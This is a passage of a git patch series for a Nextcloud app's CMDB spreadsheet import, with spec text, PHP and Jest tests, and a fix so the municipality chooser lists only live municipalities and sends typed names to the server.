a matched row SHALL be reported as `skipped` with reason `exists`, without changes. A row without an APPID SHALL be skipped with reason `missing APPID`. When an APPID occurs more than once on one sheet, the first occurrence SHALL be imported and every later one SHALL be skipped with reason `duplicate APPID in file`. When an APPID occurs on both sheets, the row of the sheet the profile's `sheetPrecedence` ranks first ("Beheerde Applicaties CMDB") SHALL be imported, whichever sheet the export lists first, and the other row SHALL be skipped with reason `duplicate APPID in file` and a warning naming the APPID and the winning sheet. Before the file is read, the service SHALL check that the `module`, `organization`, `usage` and `contactPerson` schemas declare every property it matches on (for `module`: `externalKey`, `externalId`, `externalNumber`), and that the `module` schema is at least 0.3.8: it declares `applicationType` and `externalKey` carries an `authorization.update` rule for `admin`; when one lacks any, it SHALL answer 503 `SCHEMA_OUTDATED` with `details.schema` and `details.missing`, and SHALL write nothing, because OpenRegister answers a filter on an undeclared property with no rows and every row would be created again. #### Scenario: Re-importing the same export creates no duplicates @e2e tests/e2e/spec-coverage/cmdb-import.spec.ts @@ -266,6 +266,14 @@ For each row the service SHALL compute `externalKey` = `topdesk:>>|null + */ + private static ?array $definitions = null; + + /** + * Property definitions replaced for one test, per schema id and property. + * + * @var array>> + */ + private array $redefined = []; + /** * Properties taken out of a schema for one test, per schema id. * @@ -206,6 +220,7 @@ protected function setUp(): void { $this->cacheFailure = null; $this->logLines = []; $this->undeclared = []; + $this->redefined = []; $this->ignoredFilters = []; $this->scopedCalls = []; $this->searches = []; @@ -290,8 +305,10 @@ private function declaredProperties(int $schema): array { $ids = ['module' => self::MODULE, 'organization' => self::ORGANIZATION, 'usage' => self::USAGE, 'contactPerson' => self::CONTACT_PERSON]; self::$declared = []; + self::$definitions = []; foreach ($ids as $slug => $id) { self::$declared[$id] = array_keys($register['components']['schemas'][$slug]['properties']); + self::$definitions[$id] = $register['components']['schemas'][$slug]['properties']; } } @@ -469,7 +486,7 @@ public function __construct( * @return object */ public function find(int|string $id, ?array $_extend = [], bool $_rbac = true, bool $_multitenancy = true): object { - $properties = array_fill_keys($this->test->schemaProperties(schema: (int)$id, rbac: $_rbac, multitenancy: $_multitenancy), ['type' => 'string']); + $properties = $this->test->schemaProperties(schema: (int)$id, rbac: $_rbac, multitenancy: $_multitenancy); return new class($properties) { /** * Constructor. @@ -495,17 +512,22 @@ public function getProperties(): array { }//end schemaMapper() /** - * The declared properties of a schema, for the schema mapper double. + * The declared property definitions of a schema, for the schema mapper double. * * @param int $schema The schema id. * @param bool $rbac The `_rbac` argument. * @param bool $multitenancy The `_multitenancy` argument. * - * @return array + * @return array> */ public function schemaProperties(int $schema, bool $rbac, bool $multitenancy): array { $this->noteScope(method: 'SchemaMapper::find', rbac: $rbac, multitenancy: $multitenancy); - return $this->declaredProperties(schema: $schema); + $definitions = []; + foreach ($this->declaredProperties(schema: $schema) as $name) { + $definitions[$name] = ($this->redefined[$schema][$name] ?? self::$definitions[$schema][$name] ?? ['type' => 'string']); + } + + return $definitions; }//end schemaProperties() /** @@ -1023,6 +1045,39 @@ public function testAModuleSchemaWithoutTheMatchPropertiesStopsTheImport(): void $this->assertSame([], $this->searches, 'refused before any search'); }//end testAModuleSchemaWithoutTheMatchPropertiesStopsTheImport() + /** + * A module schema from before 0.3.8 stops the import: it has the match properties, but no applicationType and + * no admin-only update rule on externalKey. + * + * @return void + */ + public function testAModuleSchemaFromBefore038StopsTheImport(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->undeclared[self::MODULE] = ['applicationType']; + $this->redefined[self::MODULE]['externalKey'] = ['type' => 'string', 'maxLength' => 200]; + + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $this->fail('SCHEMA_OUTDATED expected'); + } catch (CmdbImportException $e) { + $this->assertSame('SCHEMA_OUTDATED', $e->getErrorCode()); + $this->assertSame(['schema' => 'module', 'missing' => ['applicationType', 'externalKey.authorization.update']], $e->getDetails()); + } + + $this->assertSame([], $this->saves); + + // The rule alone is missing, as on a 0.3.7 module that has applicationType from elsewhere. + $this->undeclared = []; + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $this->fail('SCHEMA_OUTDATED expected for the missing rule alone'); + } catch (CmdbImportException $e) { + $this->assertSame(['schema' => 'module', 'missing' => ['externalKey.authorization.update']], $e->getDetails()); + } + + $this->assertSame([], $this->saves); + }//end testAModuleSchemaFromBefore038StopsTheImport() + /** * A search on a property the schema does not declare yields nothing, as in OpenRegister. * From 8ed2e4aef149c6abfab22b0ff49c4d38c9554484 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 16:20:59 +0200 Subject: [PATCH 162/176] =?UTF-8?q?fix(review):=20#1219=20c3=20=E2=80=94?= =?UTF-8?q?=20the=20page=20sends=20a=20typed=20municipality=20name=20and?= =?UTF-8?q?=20lists=20only=20live=20municipalities?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The chooser listed every organisation of type Municipality or of no type, merged and inactive ones included, and turned a typed name into the uuid of the first option with that label. The server's name rules (refuse a name several live municipalities share, never match a merged or inactive one) therefore never ran for the section. municipalityOptions() now offers only live organisations of type Municipality and adds the start of the uuid to labels that occur more than once; typedMunicipalityOption() always yields a name option, so a typed name is posted as municipalityName and only an option picked from the list sends its uuid. After an import, a typed name that the server matched to a listed municipality selects that option. A component test mounts the section with two live "Gemeente Bergen", a merged and an inactive municipality, and asserts the list and that a typed name is posted as municipalityName and shows MUNICIPALITY_AMBIGUOUS (both red on the previous page). REQ-CMDB-004 and the docs step say so. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 8 +- .../specs/cmdb-export-import/spec.md | 10 +- src/utils/cmdbImport.js | 81 ++++++++++++ src/utils/cmdbImport.spec.js | 48 +++++++ .../settings/sections/CmdbImport.spec.js | 119 ++++++++++++++++++ src/views/settings/sections/CmdbImport.vue | 44 ++++--- 6 files changed, 283 insertions(+), 27 deletions(-) create mode 100644 src/views/settings/sections/CmdbImport.spec.js diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index 8e872db08..6798ec8a4 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -56,9 +56,11 @@ page in stackiq. 1. Open **Administration settings → Stackiq** and scroll to **CMDB import**. 2. **Municipality.** Pick an existing organisation of type Municipality from - the list, or type the name of a new one and press Enter. A typed name that - matches an existing municipality (ignoring case and extra spaces) uses that - municipality; otherwise a new organisation of type Municipality with + the list, or type the name of a new one and press Enter. The list shows + only active municipalities, not merged or inactive ones; municipalities + with the same name show the start of their id after the name. A typed name + is sent to the server as a name, and a name that matches one existing + municipality (ignoring case and extra spaces) uses that municipality; otherwise a new organisation of type Municipality with status Active is created during the import, and the result warns about it. When more than one municipality has the typed name, the import is refused (`MUNICIPALITY_AMBIGUOUS`): pick the right one from the list. diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index ab4330ea5..3b730ed82 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -122,7 +122,7 @@ The source sheets SHALL be the CMDB sheets "Onbeh Applicaties CMDB" and "Beheerd ### Requirement: Every import SHALL have exactly one consuming municipality, chosen by the admin (REQ-CMDB-004) -The request SHALL carry either `municipalityUuid`, the uuid of an existing stackiq `organization` of type `Municipality`, or `municipalityName`, a name for a new one. With a name, the service SHALL reuse the one live organisation of type `Municipality` (not `merged`, not `Inactive`) with the same normalised name, or, when there is none, create one through the municipality pack (type `Municipality`, status `Active`) and add an import-level warning saying so. When more than one live organisation of type `Municipality` has that normalised name, it SHALL NOT guess: it SHALL answer 422 `MUNICIPALITY_AMBIGUOUS` with their uuids in `details.matches`, and SHALL write nothing. It SHALL answer 422 `MUNICIPALITY_REQUIRED` when neither is given, and 422 `MUNICIPALITY_INVALID` when the uuid does not resolve to an organisation of type `Municipality`. Every `usage` and `contactPerson` the import writes SHALL reference that organisation. +The request SHALL carry either `municipalityUuid`, the uuid of an existing stackiq `organization` of type `Municipality`, or `municipalityName`, a name for a new one. With a name, the service SHALL reuse the one live organisation of type `Municipality` (not `merged`, not `Inactive`) with the same normalised name, or, when there is none, create one through the municipality pack (type `Municipality`, status `Active`) and add an import-level warning saying so. When more than one live organisation of type `Municipality` has that normalised name, it SHALL NOT guess: it SHALL answer 422 `MUNICIPALITY_AMBIGUOUS` with their uuids in `details.matches`, and SHALL write nothing. It SHALL answer 422 `MUNICIPALITY_REQUIRED` when neither is given, and 422 `MUNICIPALITY_INVALID` when the uuid does not resolve to an organisation of type `Municipality`, or resolves to a merged one. The section SHALL offer only live organisations of type `Municipality` (not `merged`, not `Inactive`, not without a type), SHALL tell municipalities with the same name apart in the list, and SHALL send a typed name as `municipalityName`, so the server applies the rules above; only an option picked from the list SHALL be sent as `municipalityUuid`. Every `usage` and `contactPerson` the import writes SHALL reference that organisation. #### Scenario: The admin picks an existing municipality @e2e tests/e2e/spec-coverage/cmdb-import.spec.ts @@ -156,6 +156,14 @@ The request SHALL carry either `municipalityUuid`, the uuid of an existing stack - **AND** no object SHALL be written, and no third municipality SHALL be created - **AND** the section SHALL ask the admin to pick the municipality from the list +#### Scenario: The section sends a typed name to the server and lists only live municipalities +@e2e exclude Needs two municipalities with the same name in the register; src/views/settings/sections/CmdbImport.spec.js mounts the section with two live "Gemeente Bergen", a merged and an inactive municipality, asserts only the two live ones are offered, and that a typed "gemeente bergen" is posted as municipalityName and shows MUNICIPALITY_AMBIGUOUS; src/utils/cmdbImport.spec.js covers the option list and the typed option. + +- **GIVEN** two live municipalities named `Gemeente Bergen`, a merged one and an inactive one +- **WHEN** the admin opens the section and types `gemeente bergen` +- **THEN** the list SHALL offer only the two live ones, with labels that differ +- **AND** the request SHALL carry `municipalityName` and no `municipalityUuid`, and the section SHALL show the `MUNICIPALITY_AMBIGUOUS` message + ### Requirement: Field mapping SHALL be declarative and executed by OpenRegister's mapping engine (REQ-CMDB-005) The service SHALL map each normalised row with OpenRegister's `MigrationPack\MappingEngine::mapRow()`, once per target pack: module, manufacturer, municipality, usage, business owner. The packs and the import profile SHALL ship as JSON under `lib/Settings/cmdb-import/`. Each pack SHALL pass OpenRegister's `PackDefinitionValidator` when the import starts; an invalid pack, or a missing `MappingEngine`, SHALL stop the import with 503 `MAPPING_UNAVAILABLE` before any row is read. Before mapping, the service SHALL convert the cells of the profile's date columns from Excel serial numbers to `Y-m-d`, SHALL turn numeric id cells into strings without a decimal part, SHALL read a value the profile lists as empty for its column (`NB` in "BNN Classificatie"; dates, "End-of-Life Functioneel" included, are kept as the file has them) as empty, and SHALL add the constants of the row's sheet (`Beheer` = `Beheer geregeld: nee` or `ja`). A mapping error on a mapping marked `required` in the module pack SHALL skip the row. In the manufacturer and owner packs it SHALL mean the row has no manufacturer or no such owner, without a warning. A mapping error on any other mapping SHALL drop only that field and add a row warning naming the column and the value. The reader SHALL keep only the columns that the profile or a pack references, and SHALL discard every other cell when it reads the row. diff --git a/src/utils/cmdbImport.js b/src/utils/cmdbImport.js index 7061c8a4e..4199d3d73 100644 --- a/src/utils/cmdbImport.js +++ b/src/utils/cmdbImport.js @@ -167,6 +167,87 @@ export function buildImportForm({ return form } +/** + * The statuses of a municipality the import never matches a typed name to, as on the server. + */ +export const UNMATCHED_MUNICIPALITY_STATUSES = ['merged', 'Inactive'] + +/** + * The chooser's options from the organisations OpenRegister returned. + * + * Only live organisations of type Municipality are offered: an organisation + * without a type, a merged one or an inactive one is left out, because the + * server refuses it or never matches a name to it. Municipalities that share + * a name get the start of their uuid in the label, so the admin can tell them + * apart; `name` keeps the plain name. + * + * @param {Array} objects The organisations + * @return {Array<{id: string, label: string, name: string, isNew: boolean}>} The options, sorted by label + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-every-import-shall-have-exactly-one-consuming-municipality-chosen-by-the-admin-req-cmdb-004 + */ +export function municipalityOptions(objects) { + const options = (Array.isArray(objects) ? objects : []) + .filter( + (org) => + org?.type === 'Municipality' + && !UNMATCHED_MUNICIPALITY_STATUSES.includes(org?.status), + ) + .map((org) => { + const name = String(org.name || org['@self']?.name || '') + return { + id: String(org.id || org['@self']?.id || ''), + label: name, + name, + isNew: false, + } + }) + .filter((option) => option.id !== '' && option.name !== '') + const counts = {} + for (const option of options) { + const key = normaliseMunicipalityName(option.name) + counts[key] = (counts[key] || 0) + 1 + } + return options + .map((option) => + counts[normaliseMunicipalityName(option.name)] > 1 + ? { ...option, label: `${option.name} (${option.id.slice(0, 8)})` } + : option, + ) + .sort((a, b) => a.label.localeCompare(b.label)) +} + +/** + * The chooser's option for a name the admin typed. + * + * A typed name is always sent as `municipalityName`, also when it equals the + * name of a listed municipality: the server then reuses the one live + * municipality with that name, creates one when there is none, and refuses + * the name with MUNICIPALITY_AMBIGUOUS when several share it. Only an option + * picked from the list sends its uuid. + * + * @param {string|object} typed What the admin typed + * @return {{id: null, label: string, name: string, isNew: boolean}} The option + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-every-import-shall-have-exactly-one-consuming-municipality-chosen-by-the-admin-req-cmdb-004 + */ +export function typedMunicipalityOption(typed) { + const name = String( + typeof typed === 'object' && typed !== null ? typed.label : typed, + ) + .trim() + .replace(/\s+/g, ' ') + return { id: null, label: name, name, isNew: true } +} + +/** + * A municipality name as the server compares it: trimmed, single spaces, lower case. + * + * @param {string} name The name + * @return {string} The normalised name + */ +function normaliseMunicipalityName(name) { + return String(name).trim().replace(/\s+/g, ' ').toLowerCase() +} + /** * The URL of the import endpoint. * diff --git a/src/utils/cmdbImport.spec.js b/src/utils/cmdbImport.spec.js index 881b2fff4..523922850 100644 --- a/src/utils/cmdbImport.spec.js +++ b/src/utils/cmdbImport.spec.js @@ -22,12 +22,14 @@ import { interruptedImportError, isKnownError, makeCmdbOperationId, + municipalityOptions, normaliseError, outcomeLabel, OUTCOMES, PROFILE_DEFAULTS, reportRows, sortReportRows, + typedMunicipalityOption, } from './cmdbImport.js' /** The operation ids CmdbImportController accepts. */ @@ -107,6 +109,52 @@ describe('checkFile', () => { }) }) +describe('the municipality chooser', () => { + const organisations = [ + { id: 'aaaaaaaa-1111', name: 'Gemeente Bergen', type: 'Municipality', status: 'Active' }, + { id: 'bbbbbbbb-2222', name: 'gemeente bergen', type: 'Municipality', status: 'Active' }, + { id: 'cccccccc-3333', name: 'Gemeente Oud', type: 'Municipality', status: 'merged' }, + { id: 'dddddddd-4444', name: 'Gemeente Slaap', type: 'Municipality', status: 'Inactive' }, + { id: 'eeeeeeee-5555', name: 'Zonder type' }, + { id: 'ffffffff-6666', name: 'Fabfrikant', type: 'Supplier', status: 'Active' }, + { id: '99999999-7777', name: 'Gemeente Voorbeeldstad', type: 'Municipality' }, + ] + + it('offers only live municipalities, and tells same-named ones apart', () => { + const options = municipalityOptions(organisations) + + expect(options.map((option) => option.id).sort()).toEqual([ + '99999999-7777', + 'aaaaaaaa-1111', + 'bbbbbbbb-2222', + ]) + const byId = Object.fromEntries(options.map((option) => [option.id, option])) + expect(byId['aaaaaaaa-1111'].label).toBe('Gemeente Bergen (aaaaaaaa)') + expect(byId['bbbbbbbb-2222'].label).toBe('gemeente bergen (bbbbbbbb)') + expect(byId['99999999-7777'].label).toBe('Gemeente Voorbeeldstad') + expect(byId['aaaaaaaa-1111'].name).toBe('Gemeente Bergen') + }) + + it('sends a typed name as municipalityName, also when it equals a listed name', () => { + const typed = typedMunicipalityOption(' Gemeente Bergen ') + expect(typed).toEqual({ + id: null, + label: 'Gemeente Bergen', + name: 'Gemeente Bergen', + isNew: true, + }) + + const form = buildImportForm({ + file: new File(['x'], 'export.xlsx'), + municipality: { uuid: typed.id, name: typed.name }, + updateExisting: true, + operationId: 'cmdb-abcdefgh', + }) + expect(form.get('municipalityName')).toBe('Gemeente Bergen') + expect(form.has('municipalityUuid')).toBe(false) + }) +}) + describe('buildImportForm', () => { const file = new File(['x'], 'export.xlsx') diff --git a/src/views/settings/sections/CmdbImport.spec.js b/src/views/settings/sections/CmdbImport.spec.js new file mode 100644 index 000000000..c07a0e94b --- /dev/null +++ b/src/views/settings/sections/CmdbImport.spec.js @@ -0,0 +1,119 @@ +/** + * SPDX-License-Identifier: EUPL-1.2 + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * + * The CMDB import section's municipality chooser: which organisations it + * offers, and what it sends for a typed name. + * + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-every-import-shall-have-exactly-one-consuming-municipality-chosen-by-the-admin-req-cmdb-004 + */ + +import axios from '@nextcloud/axios' +import { flushPromises, shallowMount } from '@vue/test-utils' +import CmdbImport from './CmdbImport.vue' + +// Virtual: the package's `exports` field declares only the `import` condition, which jest does not resolve. +jest.mock( + '@nextcloud/axios', + () => ({ + __esModule: true, + default: { get: jest.fn(), post: jest.fn() }, + }), + { virtual: true }, +) +jest.mock('@nextcloud/router', () => ({ + generateUrl: (url, params = {}) => + url.replace(/{(\w+)}/g, (match, key) => String(params[key] ?? match)), + generateOcsUrl: (url) => url, +})) +// The component libraries are stubbed by shallowMount; virtual for the same `exports` reason. +jest.mock( + '@nextcloud/vue', + () => ({ + NcButton: { render: () => null }, + NcCheckboxRadioSwitch: { render: () => null }, + NcLoadingIcon: { render: () => null }, + NcNoteCard: { render: () => null }, + NcProgressBar: { render: () => null }, + NcSelect: { render: () => null }, + }), + { virtual: true }, +) +jest.mock( + '@conduction/nextcloud-vue', + () => ({ + CnDataTable: { render: () => null }, + CnStatusBadge: { render: () => null }, + }), + { virtual: true }, +) +// The icon SFCs live in node_modules, which jest does not transform. +jest.mock('vue-material-design-icons/Close.vue', () => ({ render: () => null })) +jest.mock('vue-material-design-icons/DatabaseImport.vue', () => ({ render: () => null })) +jest.mock('vue-material-design-icons/TrayArrowUp.vue', () => ({ render: () => null })) +jest.mock('../../../components/AlwaysVisibleSection.vue', () => ({ render: () => null })) + +const ORGANISATIONS = [ + { id: 'aaaaaaaa-1111', name: 'Gemeente Bergen', type: 'Municipality', status: 'Active' }, + { id: 'bbbbbbbb-2222', name: 'Gemeente Bergen', type: 'Municipality', status: 'Active' }, + { id: 'cccccccc-3333', name: 'Gemeente Oud', type: 'Municipality', status: 'merged' }, + { id: 'dddddddd-4444', name: 'Gemeente Slaap', type: 'Municipality', status: 'Inactive' }, +] + +/** + * Mount the section with OpenRegister answering the given organisations. + * + * @return {Promise} The wrapper, after the municipalities loaded + */ +async function mountSection() { + axios.get.mockImplementation((url) => + Promise.resolve( + url.includes('/voorzieningen/config') + ? { data: { config: { register: 7, organisatie_schema: 33 } } } + : { data: { results: ORGANISATIONS } }, + ), + ) + const wrapper = shallowMount(CmdbImport) + await flushPromises() + return wrapper +} + +describe('CmdbImport municipality chooser', () => { + afterEach(() => { + jest.clearAllMocks() + }) + + it('does not offer a merged or an inactive municipality', async () => { + const wrapper = await mountSection() + + const ids = wrapper.vm.municipalityOptions.map((option) => option.id) + expect(ids).toEqual(['aaaaaaaa-1111', 'bbbbbbbb-2222']) + expect(new Set(wrapper.vm.municipalityOptions.map((o) => o.label)).size).toBe(2) + }) + + it('posts a typed name that two municipalities share as municipalityName and shows MUNICIPALITY_AMBIGUOUS', async () => { + const wrapper = await mountSection() + axios.post.mockRejectedValue({ + response: { + status: 422, + data: { + success: false, + error: 'MUNICIPALITY_AMBIGUOUS', + message: 'Several municipalities have this name; choose one from the list.', + details: { matches: ['aaaaaaaa-1111', 'bbbbbbbb-2222'] }, + }, + }, + }) + + wrapper.vm.municipality = wrapper.vm.createMunicipalityOption('gemeente bergen') + wrapper.vm.selectedFile = new File(['x'], 'export.xlsx') + await wrapper.vm.startImport() + + expect(axios.post).toHaveBeenCalledTimes(1) + const form = axios.post.mock.calls[0][1] + expect(form.get('municipalityName')).toBe('gemeente bergen') + expect(form.has('municipalityUuid')).toBe(false) + expect(wrapper.vm.error.error).toBe('MUNICIPALITY_AMBIGUOUS') + expect(wrapper.vm.report).toBe(null) + }) +}) diff --git a/src/views/settings/sections/CmdbImport.vue b/src/views/settings/sections/CmdbImport.vue index 7d4c98466..aa294c937 100644 --- a/src/views/settings/sections/CmdbImport.vue +++ b/src/views/settings/sections/CmdbImport.vue @@ -450,6 +450,7 @@ import { isKnownError, makeCmdbOperationId, moduleUrl, + municipalityOptions, normaliseError, outcomeLabel, OUTCOMES, @@ -457,6 +458,7 @@ import { REPORT_PAGE_SIZE, reportRows, sortReportRows, + typedMunicipalityOption, } from '../../../utils/cmdbImport.js' /** @@ -791,16 +793,9 @@ export default { ), { params: { type: 'Municipality', _limit: 1000 } }, ) - const objects = response?.data?.results || [] - this.municipalityOptions = objects - .filter((org) => (org.type ?? 'Municipality') === 'Municipality') - .map((org) => ({ - id: org.id || org['@self']?.id || '', - label: String(org.name || org['@self']?.name || ''), - isNew: false, - })) - .filter((option) => option.id !== '' && option.label !== '') - .sort((a, b) => a.label.localeCompare(b.label)) + this.municipalityOptions = municipalityOptions( + response?.data?.results || [], + ) } catch { this.municipalityLoadError = t( 'stackiq', @@ -812,24 +807,18 @@ export default { }, /** - * Turn a typed name into the chooser's "new municipality" option. + * Turn a typed name into the chooser's option for that name. * - * A name that matches an existing municipality selects that one. + * The page does not match the name to a listed municipality: it sends + * the name, and the server reuses, creates or refuses (see + * typedMunicipalityOption()). * * @param {string|object} typed What the admin typed * @return {object} The option * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-every-import-shall-have-exactly-one-consuming-municipality-chosen-by-the-admin-req-cmdb-004 */ createMunicipalityOption(typed) { - const label = String( - typeof typed === 'object' && typed !== null ? typed.label : typed, - ) - .trim() - .replace(/\s+/g, ' ') - const existing = this.municipalityOptions.find( - (option) => option.label.toLowerCase() === label.toLowerCase(), - ) - return existing || { id: null, label, isNew: true } + return typedMunicipalityOption(typed) }, /** @@ -917,7 +906,7 @@ export default { file: this.selectedFile, municipality: { uuid: this.municipality.isNew ? null : this.municipality.id, - name: this.municipality.label, + name: this.municipality.name || this.municipality.label, }, updateExisting: this.updateExisting, publish: this.publish, @@ -956,9 +945,18 @@ export default { // so a second import goes to the same organisation (WCAG 3.3.7). const imported = report?.municipality if (imported?.uuid && this.municipality?.isNew) { + const listed = this.municipalityOptions.find( + (option) => option.id === imported.uuid, + ) + if (listed) { + this.municipality = listed + return + } + const name = String(imported.name || this.municipality.name) const option = { id: imported.uuid, - label: String(imported.name || this.municipality.label), + label: name, + name, isNew: false, } this.municipalityOptions = [ From 3c1d14c4911deb8b4efca8c9bdc46fee02979f8b Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 16:21:25 +0200 Subject: [PATCH 163/176] =?UTF-8?q?fix(review):=20#1219=20c1=20=E2=80=94?= =?UTF-8?q?=20format=20the=20CMDB=20import=20frontend=20files=20with=20pre?= =?UTF-8?q?ttier?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The format check failed on the three CMDB frontend files this branch rewrote. `prettier --write` on them, and on the new section spec, with no other change; eslint stays clean, and `prettier --check` passes on every js/ts/vue/css file the branch changes. Co-Authored-By: Claude Opus 5.5 --- src/utils/cmdbImport.js | 5 +- src/utils/cmdbImport.spec.js | 52 +++++++++++++++---- .../settings/sections/CmdbImport.spec.js | 50 ++++++++++++++---- src/views/settings/sections/CmdbImport.vue | 40 ++++++++------ 4 files changed, 111 insertions(+), 36 deletions(-) diff --git a/src/utils/cmdbImport.js b/src/utils/cmdbImport.js index 4199d3d73..8fa8019b3 100644 --- a/src/utils/cmdbImport.js +++ b/src/utils/cmdbImport.js @@ -497,7 +497,10 @@ function workbookTooLargeTitle(details) { return t( 'stackiq', 'Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.', - { part: String(details.part ?? ''), size: formatMegabytes(details.maxPartBytes) }, + { + part: String(details.part ?? ''), + size: formatMegabytes(details.maxPartBytes), + }, AS_TEXT, ) } diff --git a/src/utils/cmdbImport.spec.js b/src/utils/cmdbImport.spec.js index 523922850..d35bf2cb3 100644 --- a/src/utils/cmdbImport.spec.js +++ b/src/utils/cmdbImport.spec.js @@ -111,13 +111,42 @@ describe('checkFile', () => { describe('the municipality chooser', () => { const organisations = [ - { id: 'aaaaaaaa-1111', name: 'Gemeente Bergen', type: 'Municipality', status: 'Active' }, - { id: 'bbbbbbbb-2222', name: 'gemeente bergen', type: 'Municipality', status: 'Active' }, - { id: 'cccccccc-3333', name: 'Gemeente Oud', type: 'Municipality', status: 'merged' }, - { id: 'dddddddd-4444', name: 'Gemeente Slaap', type: 'Municipality', status: 'Inactive' }, + { + id: 'aaaaaaaa-1111', + name: 'Gemeente Bergen', + type: 'Municipality', + status: 'Active', + }, + { + id: 'bbbbbbbb-2222', + name: 'gemeente bergen', + type: 'Municipality', + status: 'Active', + }, + { + id: 'cccccccc-3333', + name: 'Gemeente Oud', + type: 'Municipality', + status: 'merged', + }, + { + id: 'dddddddd-4444', + name: 'Gemeente Slaap', + type: 'Municipality', + status: 'Inactive', + }, { id: 'eeeeeeee-5555', name: 'Zonder type' }, - { id: 'ffffffff-6666', name: 'Fabfrikant', type: 'Supplier', status: 'Active' }, - { id: '99999999-7777', name: 'Gemeente Voorbeeldstad', type: 'Municipality' }, + { + id: 'ffffffff-6666', + name: 'Fabfrikant', + type: 'Supplier', + status: 'Active', + }, + { + id: '99999999-7777', + name: 'Gemeente Voorbeeldstad', + type: 'Municipality', + }, ] it('offers only live municipalities, and tells same-named ones apart', () => { @@ -356,7 +385,10 @@ describe('errorText', () => { expect( errorText({ error: 'WORKBOOK_TOO_LARGE', - details: { maxPartBytes: 10 * 1024 * 1024, part: 'xl/sharedStrings.xml' }, + details: { + maxPartBytes: 10 * 1024 * 1024, + part: 'xl/sharedStrings.xml', + }, }).title, ).toBe( 'Unpacked, the part xl/sharedStrings.xml of the workbook is larger than 10 MB, the most the import reads of one part.', @@ -386,9 +418,9 @@ describe('errorText', () => { }) it('asks to wait for the import that is running', () => { - expect(errorText({ error: 'IMPORT_IN_PROGRESS', details: {} }).hint).toContain( - 'Only one import runs at a time.', - ) + expect( + errorText({ error: 'IMPORT_IN_PROGRESS', details: {} }).hint, + ).toContain('Only one import runs at a time.') }) it('counts the municipalities with the typed name and asks to pick one', () => { diff --git a/src/views/settings/sections/CmdbImport.spec.js b/src/views/settings/sections/CmdbImport.spec.js index c07a0e94b..931f7edbc 100644 --- a/src/views/settings/sections/CmdbImport.spec.js +++ b/src/views/settings/sections/CmdbImport.spec.js @@ -49,15 +49,41 @@ jest.mock( ) // The icon SFCs live in node_modules, which jest does not transform. jest.mock('vue-material-design-icons/Close.vue', () => ({ render: () => null })) -jest.mock('vue-material-design-icons/DatabaseImport.vue', () => ({ render: () => null })) -jest.mock('vue-material-design-icons/TrayArrowUp.vue', () => ({ render: () => null })) -jest.mock('../../../components/AlwaysVisibleSection.vue', () => ({ render: () => null })) +jest.mock('vue-material-design-icons/DatabaseImport.vue', () => ({ + render: () => null, +})) +jest.mock('vue-material-design-icons/TrayArrowUp.vue', () => ({ + render: () => null, +})) +jest.mock('../../../components/AlwaysVisibleSection.vue', () => ({ + render: () => null, +})) const ORGANISATIONS = [ - { id: 'aaaaaaaa-1111', name: 'Gemeente Bergen', type: 'Municipality', status: 'Active' }, - { id: 'bbbbbbbb-2222', name: 'Gemeente Bergen', type: 'Municipality', status: 'Active' }, - { id: 'cccccccc-3333', name: 'Gemeente Oud', type: 'Municipality', status: 'merged' }, - { id: 'dddddddd-4444', name: 'Gemeente Slaap', type: 'Municipality', status: 'Inactive' }, + { + id: 'aaaaaaaa-1111', + name: 'Gemeente Bergen', + type: 'Municipality', + status: 'Active', + }, + { + id: 'bbbbbbbb-2222', + name: 'Gemeente Bergen', + type: 'Municipality', + status: 'Active', + }, + { + id: 'cccccccc-3333', + name: 'Gemeente Oud', + type: 'Municipality', + status: 'merged', + }, + { + id: 'dddddddd-4444', + name: 'Gemeente Slaap', + type: 'Municipality', + status: 'Inactive', + }, ] /** @@ -88,7 +114,9 @@ describe('CmdbImport municipality chooser', () => { const ids = wrapper.vm.municipalityOptions.map((option) => option.id) expect(ids).toEqual(['aaaaaaaa-1111', 'bbbbbbbb-2222']) - expect(new Set(wrapper.vm.municipalityOptions.map((o) => o.label)).size).toBe(2) + expect( + new Set(wrapper.vm.municipalityOptions.map((o) => o.label)).size, + ).toBe(2) }) it('posts a typed name that two municipalities share as municipalityName and shows MUNICIPALITY_AMBIGUOUS', async () => { @@ -99,13 +127,15 @@ describe('CmdbImport municipality chooser', () => { data: { success: false, error: 'MUNICIPALITY_AMBIGUOUS', - message: 'Several municipalities have this name; choose one from the list.', + message: + 'Several municipalities have this name; choose one from the list.', details: { matches: ['aaaaaaaa-1111', 'bbbbbbbb-2222'] }, }, }, }) - wrapper.vm.municipality = wrapper.vm.createMunicipalityOption('gemeente bergen') + wrapper.vm.municipality = + wrapper.vm.createMunicipalityOption('gemeente bergen') wrapper.vm.selectedFile = new File(['x'], 'export.xlsx') await wrapper.vm.startImport() diff --git a/src/views/settings/sections/CmdbImport.vue b/src/views/settings/sections/CmdbImport.vue index aa294c937..f8bbc1e4b 100644 --- a/src/views/settings/sections/CmdbImport.vue +++ b/src/views/settings/sections/CmdbImport.vue @@ -119,7 +119,7 @@ {{ t( 'stackiq', - 'When on, a re-import overwrites the application\'s name, descriptions, application type, hosting 